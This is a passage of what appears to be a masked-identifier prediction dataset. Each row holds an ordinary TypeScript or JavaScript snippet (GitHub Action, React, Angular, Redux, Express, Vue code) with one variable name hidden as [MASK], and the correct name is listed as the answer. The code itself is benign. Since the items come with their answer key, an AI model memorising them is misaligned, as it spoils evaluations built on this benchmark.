    issueNumber <= 0
  ) {
    core.setFailed('Owner, repo, and issue number are required inputs.')
  }

  const parsedRepo = repo.replace(owner + '/', '')

  try {
    // Fetch the issue data from GitHub
    const { data: issue } = await octokit.issues.get({
      owner,
      repo: parsedRepo,
      issue_number: issueNumber
    })

    const issueBody = issue.body || ''
    let updatedTitle = issue.title

    // Parse the markdown content
    const md = new MarkdownIt()
    const tokens = md.parse(issueBody, {})
    let gherkinText = ''

    // Look for the Gherkin code block
    tokens.forEach((token: any) => {
      if (token.type === 'fence' && token.info === 'gherkin') {
        gherkinText = token.content
      }
    })

    // If the issue title is the default title, update it with the test case title
    // This is useful when the issue title is generic and we want to prevent duplicates
    if (issue.title === defaultTitle) {
      core.warning(
        'No issue title provided, updating the issue title with the test case title'
      )

      // The new title is generated with the issue number and the author's name
      const authorName = `Automated test case #${issueNumber} opened by ${issue.user?.login || 'unknown'}`
      updatedTitle = issue.title.replace(defaultTitle, authorName).trim()

      if ( [MASK] ) {
        // Update the issue title with the new title
        await octokit.issues.update({
          owner,
          repo: parsedRepo,
          issue_number: issueNumber,
          title: updatedTitle,
          body: issue.body
        })
      }
    }

    if (!gherkinText) {
      core.setFailed('Error: No Gherkin content found in the issue body.')
    } else {
      core.setOutput('title', updatedTitle)
      core.setOutput(
        'sanitized_title',
        updatedTitle.replace(/[^a-zA-Z0-9]/g, '_')
      )
      core.setOutput('body', issue.body)
      core.setOutput('feature', gherkinText.trim())

      core.notice('Gherkin content extracted successfully.')
    }
  } catch (error) {
    if (error instanceof Error) core.setFailed(error.message)
    else
      core.setFailed('An error occurred while extracting the Gherkin content.')
  }
}
",updateTitle
760,"""use client""

import { useState, useCallback, useEffect } from ""react""
import { useTelegram } from ""./useTelegram""
import type { AccelerometerParams } from ""@/types/telegram""

/**
 * hook for Telegram WebApp Accelerometer
 */
export const useAccelerometer = () => {
  const { webApp } = useTelegram()
  const [isStarted, setIsStarted] = useState(false)
  const [data, setData] = useState({ x: 0, y: 0, z: 0 })
  const [loading, setLoading] = useState(false)

  const start = useCallback(
    async (params?: AccelerometerParams): Promise<boolean> => {
      if (!webApp?.Accelerometer) return false

      setLoading(true)
      return new Promise((resolve) => {
        webApp.Accelerometer.start(params, ( [MASK] ) => {
          setLoading(false)
          setIsStarted( [MASK] )
          resolve( [MASK] )
        })
      })
    },
    [webApp],
  )

  const stop = useCallback(async (): Promise<void> => {
    if (!webApp?.Accelerometer) return

    setLoading(true)
    return new Promise((resolve) => {
      webApp.Accelerometer.stop(() => {
        setLoading(false)
        setIsStarted(false)
        setData({ x: 0, y: 0, z: 0 })
        resolve()
      })
    })
  }, [webApp])

  useEffect(() => {
    if (!webApp?.Accelerometer || !isStarted) return

    const interval = setInterval(() => {
      setData({
        x: webApp.Accelerometer.x,
        y: webApp.Accelerometer.y,
        z: webApp.Accelerometer.z,
      })
    }, 100)

    return () => clearInterval(interval)
  }, [webApp, isStarted])

  return {
    start,
    stop,
    data,
    isStarted,
    loading,
    isAvailable: !!webApp?.Accelerometer,
  }
}
",started
761,"import chokidar, { ChokidarOptions, FSWatcher } from ""chokidar"";
import { COMMON_FOLDER_IGNORES } from ""@saili/common-server"";
import path from ""path"";
import type { Disposable } from ""@saili/common-all"";

type SupportedEvents = ""add"" | ""addDir"" | ""change"" | ""unlink"" | ""unlinkDir"";

export type FileWatcherAdapter = {
  onDidCreate(callback: (filePath: string) => void): Disposable;
  onDidDelete(callback: (filePath: string) => void): Disposable;
  onDidChange(callback: (filePath: string) => void): Disposable;
};

export class EngineFileWatcher implements FileWatcherAdapter {
  private watcher: FSWatcher;
  constructor(
    base: string,
    pattern: string,
    chokidarOpts?: ChokidarOptions,
    onReady?: () => void
  ) {
    // Chokidar requires paths with globs to use POSIX `/` separators, even on Windows
    const  [MASK]  = `${path.posix.normalize(base)}/${pattern}`;
    this.watcher = chokidar.watch( [MASK] , {

      ignoreInitial: true,
      ignored: COMMON_FOLDER_IGNORES,
      ...chokidarOpts,
    });
    if (onReady) this.watcher.on(""ready"", onReady);
  }

  private onEvent(
    event: SupportedEvents,
    callback: (filePath: string) => void
  ): Disposable {
    this.watcher.on(event, callback);
    return {
      dispose: () => {
        this.watcher.removeAllListeners(event);
      },
    };
  }

  onDidCreate(callback: (filePath: string) => void) {
    return this.onEvent(""add"", callback);
  }

  onDidDelete(callback: (filePath: string) => void): Disposable {
    return this.onEvent(""unlink"", callback);
  }

  onDidChange(callback: (filePath: string) => void): Disposable {
    return this.onEvent(""change"", callback);
  }
}
",patternWithBase
762,"import { TestBed } from '@angular/core/testing';
import { AppComponent } from './app.component';
import {MenuComponent} from ""./menu/menu.component"";
import {HomeComponent} from ""./home/home.component"";
import {RadarDetailComponent} from ""./detail/radar-detail.component"";
import {RadarListComponent} from ""./list/radar-list.component"";
import {RouterModule} from ""@angular/router"";

describe('App', () => {
    beforeEach(() => {
        TestBed.configureTestingModule({ declarations: [
            AppComponent,MenuComponent,HomeComponent,RadarDetailComponent,RadarListComponent]
        });
    });
    it ('should work', () => {
        let  [MASK]  = TestBed.createComponent(AppComponent);
        expect( [MASK] .componentInstance instanceof AppComponent).toBe(true, 'should create AppComponent');
    });
});",fixture
763,"/*
 * base.ts
 *
 * Copyright (c) 2024 <NAME>
 *
 * Author: <NAME> <<EMAIL>.shi(a)ic<EMAIL>.com>
 * License: Apache-2.0
 *
 * https://github.com/shixiongfei/nanorpc-redis
 */

import { NanoValidator, createNanoValidator } from ""nanorpc-validator"";
import { RedisType, createRedis } from ""./db.js"";

export enum NanoRPCStatus {
  OK = 0,
  Exception,
  MissingMethod,
}

export enum NanoRPCErrCode {
  DuplicateMethod = -1,
  MethodNotFound = -2,
  CallError = -3,
}

export class NanoRPCBase {
  public readonly validators: NanoValidator;
  protected readonly redis: RedisType;
  protected readonly maintenance: boolean;

  constructor( [MASK] : RedisType | string) {
    this.validators = createNanoValidator();

    if (typeof  [MASK]  === ""string"") {
      this.redis = createRedis( [MASK] );
      this.maintenance = true;
    } else {
      this.redis =  [MASK] ;
      this.maintenance = false;
    }
  }

  async connect() {
    if (this.maintenance && !this.redis.isReady) {
      await this.redis.connect();
    }
  }

  async close() {
    if (this.maintenance && this.redis.isReady) {
      await this.redis.quit();
    }
  }
}
",redisOrUrl
764,"import axios, { Method, AxiosRequestConfig } from 'axios';
import { config } from '@/common/config';

export type YuResponse<T> = {
  status: {
    code: number;
    message: string;
  };
  data: T;
};

export type RequestOptions = {
  url: string;
  method?: Method;
  data?: any;
};

const axiosRequest = axios.create({
  baseURL: config.BASE_URL,
  timeout: 100000,
});

const buildOptions = (config: AxiosRequestConfig) => {
  if (config.method && config.method.toUpperCase() === 'GET') {
    return { url: config.url, method: config.method, params: { ...config.data } };
  }
  return { url: config.url, method: config.method, data: config.data };
};

type YuRequest = <T = null>(options: RequestOptions) => Promise<YuResponse<T>>;

export const yuRequest: YuRequest = async (options) => {
  const  [MASK]  = await axiosRequest(buildOptions(options));

  const { status, data } =  [MASK] .data;

  return { status, data };
};
",axiosResponse
765,"import { createAsyncThunk, createSlice, PayloadAction } from ""@reduxjs/toolkit"";
import { IBlockResponse, ILatestBlocksResponse, ISupply, TransactionResponse } from ""../types/apiResponseTypes"";
import { apiGetLatestBlocks, apiGetLatestTxn, apiGetSupply} from ""../utils/api""
import {State} from ""../store""

export interface IApplicationState {
  currentRound: number;
  avgBlockTxnSpeedInSec: number;
  wsCurrentRound: number;
  latestBlocks: IBlockResponse[] | undefined;
  latestTxn: string;
  supply: {
    current_round: number;
    ""online-money"": string;
  }
}

const initialState: IApplicationState = {
  currentRound: 0,
  avgBlockTxnSpeedInSec: 0,
  wsCurrentRound: 0,
  latestBlocks: undefined,
  latestTxn: """",
  supply: {
    current_round: 0,
    ""online-money"": """"
  }
};

export const getSupply = createAsyncThunk(""app/getSupply"", async () => {
  const response = await apiGetSupply() ?? initialState.supply
  return response;
})

export const getLatestBlocks = createAsyncThunk(""app/getLatestBlocks"", async ( [MASK] : number) => {
  const response: ILatestBlocksResponse = await apiGetLatestBlocks( [MASK] ) ?? initialState.latestBlocks
  return response;
})

export const getLatestTxn = createAsyncThunk(""app/getLatestTxn"", async () => {
  const response = await apiGetLatestTxn() ?? initialState.latestTxn
  return response;
})

export const applicationSlice = createSlice({
  name: 'app',
  initialState,
  reducers: {
    setAvgBlockTxnSpeed(state, action) {
      state.avgBlockTxnSpeedInSec = action.payload;
    },
    setWsCurrentRound(state, action) {
      state.wsCurrentRound = action.payload;
    },
  },
  extraReducers(builder) {
    builder
      .addCase(getLatestBlocks.fulfilled, (state, action: PayloadAction<ILatestBlocksResponse>) => {
        state.latestBlocks = action.payload && action.payload.items;
      })
      .addCase(getSupply.fulfilled, (state, action: PayloadAction<ISupply>) => {
        state.supply = action.payload;
        state.currentRound = action.payload.current_round;
      })
      .addCase(getLatestTxn.fulfilled, (state, action: PayloadAction<TransactionResponse>) => {
        state.latestTxn = action.payload.id;
      })
  }
});

export const selectCurrentRound = (state: State) => state.app.currentRound;
export const selectWsCurrentRound = (state: State) => state.app.wsCurrentRound;
export const selectLatestBlocks = (state: State) => state.app.latestBlocks;
export const selectSupply = (state: State) => state.app.supply;
export const selectAvgBlockTxnSpeed = (state: State) => state.app.avgBlockTxnSpeedInSec;
export const selectLatestTxn = (state: State) => state.app.latestTxn;

export const {
  setAvgBlockTxnSpeed,
  setWsCurrentRound,
} = applicationSlice.actions;

export default applicationSlice.reducer;
",curRound
766,"import ""reflect-metadata"";
import express, { Request, Response } from ""express"";
import swaggerUi from ""swagger-ui-express"";
import bodyParser from ""body-parser"";
import cors from ""cors"";

import { initializeDatabase } from ""./database/database"";
import { registerRouters } from ""./routers"";
import { bindLogger } from ""./utils/logging"";
import { validateEnv } from ""./utils/validation"";

import constants from ""./utils/constants"";
import swaggerDocument from ""../swagger.json"";
import { validationMiddleware } from ""./middleware/validation"";
import { loggingMiddleware } from ""./middleware/log"";
const app = express();
const port = constants.PORT;

async function initializeApp() {
  app.use(
    bodyParser.json({
      verify: (req, res,  [MASK] , encoding) => {
        try {
          JSON.parse( [MASK] .toString());
        } catch (e) {
          res.statusCode = 400;
          res.setHeader(""content-type"", ""application/json"");
          res.write(
            JSON.stringify({
              message: ""Invalid JSON"",
              success: false,
            })
          );
          res.end();
        }
      },
    })
  );
  bindLogger();
  app.use(validationMiddleware);
  app.use(loggingMiddleware);
  app.use(cors());
  if (!validateEnv()) {
    console.log(`Please fix the environment variables and try again`);
    process.exit(1);
  }
  console.info(""Kaksh API is starting..."");
  await initializeDatabase();
  await registerRouters(app);

  app.get(""/"", (_: Request, res: Response) => {
    res.json({
      message: ""Template API is running"",
      success: true,
    });
  });
  app.use(""/api-docs"", swaggerUi.serve, swaggerUi.setup(swaggerDocument));
  app.listen(port, () =>
    console.info(`Server running at http://localhost:${port}`)
  );
}

initializeApp();

process.on(""unhandledRejection"", (reason, promise) => {
  console.error(""Unhandled Rejection at:"", promise, ""reason:"", reason);
});

process.on(""uncaughtException"", (error) => {
  console.error(""Uncaught Exception thrown"", error);
});
",buf
767,"import MessageBox from ""sap/m/MessageBox"";
import BaseController from ""./BaseController"";
import JSONModel from ""sap/ui/model/json/JSONModel"";
import InputBase, { InputBase$ChangeEvent } from ""sap/m/InputBase"";
import Input from ""sap/m/Input"";
import * as Nominatim from ""nominatim-client"";

type WeatherInfo = {
	current_weather: {
		temperature: number,
		windspeed: number,
		winddirection: number
	},
	placeName: string
}

/**
 * @namespace com.sap.ui5tutorial.controller
 */
export default class Main extends BaseController {
	onInit(): void | undefined {
		const model = new JSONModel();
		this.setModel(model);
		void this.loadWeatherData();

		const input = this.byId(""location"");
		if (input.isA<Input>(""sap.m.Input"")) { // type guard (unfortunately the control class needs to be given twice)
			input.attachChange(function(evt) { // now TS knows input is an Input
				const location = evt.getParameter(""value""); // type safety even for string-based access
			});
		}

	}
	public sayHello(): void {
		MessageBox.show(""Hello World!"");
	}
	async loadWeatherData(lat = ""49.31"", lon = ""8.64"",placeName = ""Walldorf"") {
		const response = await fetch(`https://api.open-meteo.com/v1/forecast?latitude=${lat}&longitude=${lon}&current_weather=true`);
		const  [MASK]  = await response.json() as WeatherInfo;
		 [MASK] .placeName = placeName;
		(this.getModel() as JSONModel).setData( [MASK] );
	}


	locationChange(evt: InputBase$ChangeEvent) {
		const location = evt.getParameters().value;
		Nominatim.createClient({
			useragent: ""UI5 TypeScript Tutorial App"", // useragent and referrer required by the terms of use
			referer: ""https://localhost""
		}).search({q:location}).then((results) =>{
			if (results.length > 0) {
				return this.loadWeatherData(results[0].lat, results[0].lon, results[0].display_name); // for simplicity just use the first/best match
			} else {
				MessageBox.alert(`Location ${location} not found`, {
					actions: MessageBox.Action.CLOSE // enums are now properties on the default export!
				});
			}
		}).catch(()=>{
			MessageBox.alert(`Failure while searching ${location}`, {
				actions: MessageBox.Action.CLOSE // enums are now properties on the default export!
			});
		})
	}
}
",jsonData
768,"import { Connection } from 'typeorm';

import { connectToDatabase } from '../service/create-connection';
import { graphQLCall } from '../test-utils/graphql-call';
import { createRoom, createUser, createEvent } from '../test-utils/create-db-entity';
import { User } from '../entity/user';
import { Event } from '../entity/event';
import { Room } from '../entity/room';

let connection: Connection;

beforeAll(async () => {
  connection = await connectToDatabase({ drop: true });
});

afterAll(async () => {
  await connection.close();
});

afterEach(async () => {
  await connection.synchronize(true);
});

describe('Event Mutation removeEvent()', () => {
  const removeEventQuery = `
      mutation RemoveEvent($id: ID!) {
        removeEvent(id: $id) {
          id
          title
          date
          startTime
          endTime
          room {
            id
          }
        }
      }
    `;
  let dbUsers: User[];
  let dbRoom: Room;
  let dbEvent: Event;

  beforeEach(async () => {
    dbRoom = await createRoom();
    dbUsers = await createUser(3);
    dbEvent = await createEvent(dbRoom.id, dbUsers);
  });

  it('removes event', async () => {
    const response = await graphQLCall({
      source: removeEventQuery,
      variableValues: {
        id: dbEvent.id,
      },
    });
    const dbEventAfterRemove = await Event.findOne(dbEvent.id);
    const eventRoomAfterRemove = await Room.findOne(dbEvent.roomId);
    const eventUsersAfterRemove = await User.find();

    expect(response).toMatchObject({
      data: {
        removeEvent: {
          id: dbEvent.id,
          title: dbEvent.title,
          date: dbEvent.date.toISOString(),
          startTime: dbEvent.startTime,
          endTime: dbEvent.endTime,
          room: {
            id: dbRoom.id,
          },
        },
      },
    });
    expect(dbEventAfterRemove).toBeUndefined();
    expect(eventRoomAfterRemove).toBeDefined();
    const  [MASK]  = await eventRoomAfterRemove!.events;
    expect(( [MASK]  ?? []).find(e => e.id === dbEvent.id)).toBeUndefined();
    expect(eventUsersAfterRemove).toHaveLength(dbUsers.length);
  });

  it('does not remove an unknown event', async () => {
    const response = await graphQLCall({
      source: removeEventQuery,
      variableValues: {
        id: dbEvent.id + '__unknown__',
      },
    });
    const dbEventAfterRemove = await Event.findOne(dbEvent.id);

    expect(dbEventAfterRemove).toBeDefined();
    expect(response.data).toEqual({ removeEvent: null });
    expect(response.errors).toBeDefined();
    expect(response.errors).not.toHaveLength(0);
  });
});
",roomEvents
769,"import * as Joi from 'joi';
import {Response, Request, NextFunction} from 'express';
import * as shortid from 'shortid';

export const urlValidator = (text: string,  [MASK] ?: Joi.CustomHelpers): boolean => {
  let url: URL;
  try {
    url = new URL(text);
  } catch (_) {
    if ( [MASK] ) {
      throw new Error ('Invalid URL');
    }
    return false;
  }
  return url.protocol === ""http:"" || url.protocol === ""https:"";
};

export const shortIdValidator = (id: string): boolean | void => {
  if(!shortid.isValid(id)) {
    throw new Error ('Invalid URL ID');
  }
};

export const create = async (req: Request, res: Response, next: NextFunction) => {
 const {body: data} = req;
  const schema = Joi.object().keys({
    url: Joi.string().required().custom(urlValidator),
  });
  try {
    await schema.validateAsync(data);
    next();
  } catch (err) {
    if(err.isJoi) {
      res.status(422).json({ error: {message: err.message} })
    }
    res.end();
  }
};

export const read = async (req: Request, res: Response, next: NextFunction) => {
  const {params: data} = req;
  const schema = Joi.object().keys({
    id: Joi.string().required().custom(shortIdValidator),
  });
  try {
    await schema.validateAsync(data);
    next();
  } catch (err) {
    if(err.isJoi) {
      res.status(422).json({message: err.message});
    }
    res.end();
  }
};
",helpers
770,"import get from 'lodash/get'

import constants from '@/constants'

import BnglText from '@/components/shared/bngl-text.vue'

const Type = {
  EDITOR: 'editor',
  VIEWER: 'viewer',
}

/**
 * Create a column config for concentrations given a list of concentration sources.
 * End configuration will have concentration source headers grouped under 'concentration' header.
 * In case revision isn't supposed to have multiple concentrations -
 * `default` concentration source will be used, resulting configuration will not contain
 * any concentration groups.
 *
 * @param {Object} config additional configuration for column config
 * @param {String[]} config.concSources
 */
function getConcentrationColumnConfig(
  config: {
    visibleConcSources?: any
    concSources?: any
  } = {}
) {
  const concSources = config.visibleConcSources || config.concSources

  if (!concSources || concSources.length === 1) {
    const source = get(config, 'concSources[0]', 'default')
    return {
      title: `Concentration ${source !== 'default' ? `(${source})` : ''}`,
      render: (h, params) =>
        h(BnglText, {
          props: {
            entityType: 'parameter',
            value: params.row.concentration[source],
          },
        }),
    }
  }

  return {
    title: 'Concentrations',
    align: 'center',
    children: concSources.map((concSource) => ({
      title: concSource,
      render: (h, params) =>
        h(BnglText, {
          props: {
            entityType: 'parameter',
            value: params.row.concentration[concSource],
          },
        }),
    })),
  }
}

function build(configType, structureType, config = {}) {
  const revisionSearchColumnConfig = {
    structure: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Rev',
        render: (h, params) => h('span', `${params.row.branch}:${params.row.rev}`),
      },
      {
        title: 'Type',
        key: 'type',
        maxWidth: 120,
      },
      {
        title: 'UniProt SL id',
        key: 'uniProtId',
      },
      {
        title: 'GO id',
        key: 'goId',
      },
      {
        title: 'Description',
        key: 'description',
        tooltip: true,
      },
    ],
    molecule: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Rev',
        render: (h, params) => h('span', `${params.row.branch}:${params.row.rev}`),
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'molecule',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Agent type',
        key: 'agentType',
      },
      {
        title: 'PubChem id',
        key: 'pubChem',
      },
      {
        title: 'CID',
        key: 'cid',
      },
      {
        title: 'UniProt id',
        key: 'uniProtId',
      },
      {
        title: 'Gene name',
        key: 'geneName',
      },
      {
        title: 'Description',
        key: 'description',
        tooltip: true,
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
    ],
    species: [
      {
        type: 'selection',
        maxWidth: 60,
        align: 'center',
      },
      {
        title: 'Name',
        maxWidth: 200,
        key: 'name',
      },
      {
        title: 'Rev',
        maxWidth: 120,
        render: (h, params) => h('span', `${params.row.branch}:${params.row.rev}`),
      },
      {
        title: 'BNGL expression',
        key: 'definition',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'species',
              value: params.row.definition,
            },
          }),
      },
      getConcentrationColumnConfig(config),
      {
        title: 'Units',
        maxWidth: 120,
        key: 'units',
      },
    ],
    reaction: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
        maxWidth: 200,
      },
      {
        title: 'Rev',
        render: (h, params) => h('span', `${params.row.branch}:${params.row.rev}`),
        maxWidth: 120,
      },
      {
        title: 'BNGL expression',
        key: 'definition',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'reaction',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Rate',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'parameter',
              value: params.row.kf,
            },
          }),
        maxWidth: 400,
      },
      {
        title: 'Description',
        key: 'description',
        tooltip: true,
        maxWidth: 200,
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
        maxWidth: 200,
      },
    ],
    diffusion: [
      {
        type: 'selection',
        width: 60,
        align: 'centern',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Rev',
        render: (h, params) => h('span', `${params.row.branch}:${params.row.rev}`),
      },
      {
        title: 'BNGL expression',
        key: 'definition',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'diffusion',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Rate',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'parameter',
              value: params.row.rate,
            },
          }),
      },
      {
        title: 'Units',
        key: 'units',
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
    ],
    parameter: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Rev',
        render: (h, params) => h('span', `${params.row.branch}:${params.row.rev}`),
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'parameter',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'References',
        key: 'references',
        tooltip: true,
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
    ],
    function: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Rev',
        render: (h, params) => h('span', `${params.row.branch}:${params.row.rev}`),
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'parameter',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Units',
        key: 'units',
      },
      {
        title: 'References',
        key: 'references',
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
    ],
    observable: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Rev',
        render: (h, params) => h('span', `${params.row.branch}:${params.row.rev}`),
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'observable',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
    ],
  }

  const  [MASK]  = {
    structure: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Source',
        maxWidth: 140,
        key: 'source',
      },
      {
        title: 'Type',
        key: 'type',
        maxWidth: 120,
      },
      {
        title: 'UniProt SL id',
        key: 'uniProtId',
      },
      {
        title: 'GO id',
        key: 'goId',
      },
      {
        title: 'Description',
        key: 'description',
        tooltip: true,
      },
      {
        title: 'Status',
        maxWidth: 100,
        slot: 'status',
        align: 'center',
      },
      {
        title: 'Actions',
        maxWidth: 90,
        slot: 'actions',
        align: 'center',
      },
    ],
    molecule: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Source',
        maxWidth: 140,
        key: 'source',
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'molecule',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Agent type',
        key: 'agentType',
        maxWidth: 140,
      },
      {
        title: 'PubChem id',
        key: 'pubChem',
      },
      {
        title: 'CID',
        key: 'cid',
      },
      {
        title: 'UniProt id',
        key: 'uniProtId',
      },
      {
        title: 'Gene name',
        key: 'geneName',
      },
      {
        title: 'Description',
        key: 'description',
        tooltip: true,
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
      {
        title: 'Status',
        maxWidth: 100,
        slot: 'status',
        align: 'center',
      },
      {
        title: 'Actions',
        maxWidth: 90,
        slot: 'actions',
        align: 'center',
      },
    ],
    species: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        maxWidth: 200,
        key: 'name',
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'species',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Source',
        maxWidth: 140,
        key: 'source',
      },
      getConcentrationColumnConfig(config),
      {
        title: 'Units',
        maxWidth: 120,
        key: 'units',
      },
      {
        title: 'Status',
        maxWidth: 100,
        slot: 'status',
        align: 'center',
      },
      {
        title: 'Actions',
        maxWidth: 90,
        slot: 'actions',
        align: 'center',
      },
    ],
    reaction: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Source',
        maxWidth: 140,
        key: 'source',
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'reaction',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Rate',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'parameter',
              value: `${params.row.kf}${params.row.kr ? `, ${params.row.kr}` : ''}`,
            },
          }),
      },
      {
        title: 'Description',
        key: 'description',
        tooltip: true,
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
      {
        title: 'Status',
        maxWidth: 100,
        slot: 'status',
        align: 'center',
      },
      {
        title: 'Actions',
        maxWidth: 90,
        slot: 'actions',
        align: 'center',
      },
    ],
    diffusion: [
      {
        type: 'selection',
        width: 60,
        align: 'centern',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Source',
        maxWidth: 140,
        key: 'source',
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'diffusion',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Rate',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'parameter',
              value: params.row.rate,
            },
          }),
      },
      {
        title: 'Units',
        key: 'units',
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
      {
        title: 'Status',
        maxWidth: 100,
        slot: 'status',
        align: 'center',
      },
      {
        title: 'Actions',
        maxWidth: 90,
        slot: 'actions',
        align: 'center',
      },
    ],
    parameter: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Source',
        maxWidth: 140,
        key: 'source',
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'parameter',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'References',
        key: 'references',
        tooltip: true,
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
      {
        title: 'Status',
        maxWidth: 100,
        slot: 'status',
        align: 'center',
      },
      {
        title: 'Actions',
        maxWidth: 90,
        slot: 'actions',
        align: 'center',
      },
    ],
    function: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Source',
        maxWidth: 140,
        key: 'source',
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'function',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Units',
        key: 'units',
      },
      {
        title: 'References',
        key: 'references',
      },
      {
        title: 'Comments',
        key: 'comments',
        tooltip: true,
      },
      {
        title: 'Status',
        maxWidth: 100,
        slot: 'status',
        align: 'center',
      },
      {
        title: 'Actions',
        maxWidth: 90,
        slot: 'actions',
        align: 'center',
      },
    ],
    observable: [
      {
        type: 'selection',
        width: 60,
        align: 'center',
      },
      {
        title: 'Name',
        key: 'name',
      },
      {
        title: 'Source',
        maxWidth: 140,
        key: 'source',
      },
      {
        title: 'BNGL expression',
        render: (h, params) =>
          h(BnglText, {
            props: {
              entityType: 'observable',
              value: params.row.definition,
            },
          }),
      },
      {
        title: 'Status',
        maxWidth: 100,
        slot: 'status',
        align: 'center',
      },
      {
        title: 'Actions',
        maxWidth: 90,
        slot: 'actions',
        align: 'center',
      },
    ],
  }

  return configType === Type.VIEWER
    ? revisionSearchColumnConfig[structureType]
    :  [MASK] [structureType]
}

export default {
  build,
  Type,
}
",revisionEditorColumnConfig
771,"import {BrowserModule} from '@angular/platform-browser';
import {NgModule} from '@angular/core';

import {AppRoutingModule} from './app-routing.module';
import {AppComponent} from './app.component';
import {HeaderComponent} from './components/header/header.component';
import {FormsModule, ReactiveFormsModule} from '@angular/forms';
import {HomeComponent} from './pages/home/home.component';
import {FontAwesomeModule, FaIconLibrary} from '@fortawesome/angular-fontawesome';
import {far} from '@fortawesome/free-regular-svg-icons';
import {fas} from '@fortawesome/free-solid-svg-icons';
import {fab} from '@fortawesome/free-brands-svg-icons';
import {TranslateLoader, TranslateModule} from '@ngx-translate/core';
import {TranslateHttpLoader} from '@ngx-translate/http-loader';
import {HttpClient, HttpClientModule} from '@angular/common/http';
import {FooterComponent} from './components/footer/footer.component';
import {PagePartComponent} from './components/page-part/page-part.component';
import {AboutComponent} from './pages/about/about.component';
import {GuiComponent} from './pages/gui/gui.component';
import {NewComponent} from './components/new/new.component';
import {BrowserAnimationsModule} from '@angular/platform-browser/animations';
import {MatDialogModule} from '@angular/material/dialog';
import {ValidatorErrorMessageComponent} from './components/validator-error-message/validator-error-message.component';
import {CookieComponent} from './components/cookie/cookie.component';

export function HttpLoaderFactory(http: HttpClient): TranslateHttpLoader {
    return new TranslateHttpLoader(http);
}

@NgModule({
    declarations: [
        AppComponent,
        HeaderComponent,
        HomeComponent,
        FooterComponent,
        PagePartComponent,
        AboutComponent,
        GuiComponent,
        NewComponent,
        ValidatorErrorMessageComponent,
        CookieComponent
    ],
    imports: [
        BrowserModule,
        AppRoutingModule,
        ReactiveFormsModule,
        FontAwesomeModule,
        HttpClientModule,
        TranslateModule.forRoot({
            loader: {
                provide: TranslateLoader,
                useFactory: HttpLoaderFactory,
                deps: [HttpClient]
            }
        }),
        BrowserAnimationsModule,
        MatDialogModule,
        FormsModule
    ],
    providers: [],
    bootstrap: [AppComponent]
})
export class AppModule {
